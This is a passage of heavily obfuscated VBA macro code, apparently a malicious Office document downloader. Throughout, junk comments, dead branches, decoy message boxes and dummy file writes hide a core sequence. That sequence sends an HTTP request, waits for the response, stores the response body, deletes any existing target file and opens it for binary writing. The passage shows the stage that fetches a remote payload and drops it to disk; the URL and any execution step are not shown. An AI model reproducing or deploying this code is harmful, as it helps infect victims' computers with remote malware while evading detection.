  319. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  320.  
  321. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  322. GoTo wKTUoYxV
  323. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  324. Dim gixlNDQA As String
  325. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  326. Open "PGGULJ.LUD" For Binary As 31
  327. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  328. Put #31, , gixlNDQA
  329. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  330. Close #31
  331. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  332. wKTUoYxV:
  333. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  334.  
  335. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  336.       MsgBox ("Error !!!")
  337. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  338. End If
  339. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  340.  
  341. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  342. GoTo szobaXzI
  343. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  344. Dim JCJWfjLn As String
  345. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  346. Open "VOBWNY.UAC" For Binary As 78
  347. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  348. Put #78, , JCJWfjLn
  349. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  350. Close #78
  351. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  352. szobaXzI:
  353. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  354.  
  355. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  356.    BEOCPNNRSPU.Send "send request"
  357. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  358.  
  359. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  360.  
  361. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  362.    Do While BEOCPNNRSPU.readyState <> 4
  363. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  364. If 619687 = 619687 + 1 Then End
  365. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  366. If 3854 < 56 Then
  367. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  368.  
  369. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  370. GoTo RXQjoZLa
  371. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  372. Dim oJlQwCPK As String
  373. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  374. Open "UYDHRX.VOH" For Binary As 27
  375. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  376. Put #27, , oJlQwCPK
  377. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  378. Close #27
  379. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  380. RXQjoZLa:
  381. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  382.  
  383. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  384.        MsgBox ("TjltVije39")
  385. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  386. End If
  387. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  388. If Len("TwlmKiaz6227") = Len("FpNjhBQz") Then
  389. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  390.  
  391. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  392. GoTo DWftEkIu
  393. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  394. Dim kHXbHSnB As String
  395. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  396. Open "KHYKEP.QEZ" For Binary As 62
  397. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  398. Put #62, , kHXbHSnB
  399. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  400. Close #62
  401. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  402. DWftEkIu:
  403. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  404.  
  405. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  406.       MsgBox ("Error !!!")
  407. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  408. End If
  409. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  410.  
  411. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  412. GoTo DXqjSglg
  413. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  414. Dim TszaZwIK As String
  415. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  416. Open "KJTVII.QRA" For Binary As 62
  417. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  418. Put #62, , TszaZwIK
  419. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  420. Close #62
  421. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  422. DXqjSglg:
  423. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  424.  
  425. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  426.    DoEvents
  427. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  428.  
  429. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  430. If 234711 = 234711 + 1 Then End
  431. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  432. If 2254 < 77 Then
  433. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  434.  
  435. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  436. GoTo gILOTQXp
  437. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  438. Dim MEArKyDa As String
  439. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  440. Open "NNKNHA.NCK" For Binary As 85
  441. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  442. Put #85, , MEArKyDa
  443. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  444. Close #85
  445. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  446. gILOTQXp:
  447. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  448.  
  449. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  450.        MsgBox ("AgDRudSs38")
  451. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  452. End If
  453. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  454. If Len("vPllcgfD5427") = Len("NfXUTDDl") Then
  455. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  456.  
  457. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  458. GoTo cUxcNnQh
  459. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  460. Dim eErKdWZi As String
  461. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  462. Open "RBYLNW.DJR" For Binary As 15
  463. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  464. Put #15, , eErKdWZi
  465. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  466. Close #15
  467. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  468. cUxcNnQh:
  469. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  470.  
  471. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  472.       MsgBox ("Error !!!")
  473. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  474. End If
  475. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  476.  
  477. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  478. GoTo cIlOocwc
  479. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  480. Dim eEarwLfh As String
  481. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  482. Open "RNTBRM.DKE" For Binary As 15
  483. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  484. Put #15, , eEarwLfh
  485. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  486. Close #15
  487. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  488. cIlOocwc:
  489. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  490.  
  491. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  492.    Loop
  493. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  494.  
  495. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  496.  
  497. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  498. If 851187 = 851187 + 1 Then End
  499. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  500. If 3846 < 56 Then
  501. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  502.  
  503. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  504. GoTo KkGaleHO
  505. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  506. Dim xfxwUvUA As String
  507. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  508. Open "WZMHBE.FGH" For Binary As 66
  509. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  510. Put #66, , xfxwUvUA
  511. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  512. Close #66
  513. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  514. KkGaleHO:
  515. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  516.  
  517. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  518.        MsgBox ("Tjhjuyas39")
  519. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  520. End If
  521. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  522. If Len("TxhYayQq6219") = Len("FqCZvCxp") Then
  523. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  524.  
  525. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  526. GoTo XHsstMEF
  527. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  528. Dim GueCXaKk As String
  529. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  530. Open "CFTXJV.UYE" For Binary As 71
  531. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  532. Put #71, , GueCXaKk
  533. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  534. Close #71
  535. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  536. XHsstMEF:
  537. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  538.  
  539. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  540.       MsgBox ("Error !!!")
  541. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  542. End If
  543. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  544.  
  545. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  546. GoTo quFesYVG
  547. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  548. Dim rcTFzDdl As String
  549. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  550. Open "RXLKWJ.FFK" For Binary As 14
  551. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  552. Put #14, , rcTFzDdl
  553. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  554. Close #14
  555. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  556. quFesYVG:
  557. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  558.  
  559. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  560.    VWKPFFGVDDM = BEOCPNNRSPU.responseBody
  561. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  562.  
  563. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  564.  
  565. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  566. If 662821 = 662821 + 1 Then End
  567. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  568. If 9418 < 59 Then
  569. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  570.  
  571. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  572. GoTo yQySqUak
  573. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  574. Dim QUDuczKo As String
  575. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  576. Open "WAVATV.WBV" For Binary As 65
  577. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  578. Put #65, , QUDuczKo
  579. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  580. Close #65
  581. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  582. yQySqUak:
  583. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  584.  
  585. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  586.        MsgBox ("VOvItDNe48")
  587. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  588. End If
  589. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  590. If Len("gMNGuxhs1268") = Len("HcEegWFK") Then
  591. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  592.  
  593. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  594. GoTo qtBdhnNZ
  595. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  596. Dim HNYUZWKm As String
  597. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  598. Open "VQMFIW.FDC" For Binary As 79
  599. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  600. Put #79, , HNYUZWKm
  601. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  602. Close #79
  603. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  604. qtBdhnNZ:
  605. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  606.  
  607. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  608.       MsgBox ("Error !!!")
  609. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  610. End If
  611. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  612.  
  613. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  614. GoTo qtXvvcQQ
  615. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  616. Dim HaELQLZZ As String
  617. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  618. Open "TXCZAD.FFW" For Binary As 13
  619. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  620. Put #13, , HaELQLZZ
  621. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  622. Close #13
  623. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  624. qtXvvcQQ:
  625. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  626.  
  627. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  628.    XWAMIBOZGAS = FreeFile
  629. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  630.  
  631. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  632.    If Dir(SKXFFXVBUFG) <> "" Then Kill SKXFFXVBUFG
  633. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  634.    Open SKXFFXVBUFG For Binary As #XWAMIBOZGAS
  635. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  636. If 669893 = 669893 + 1 Then End
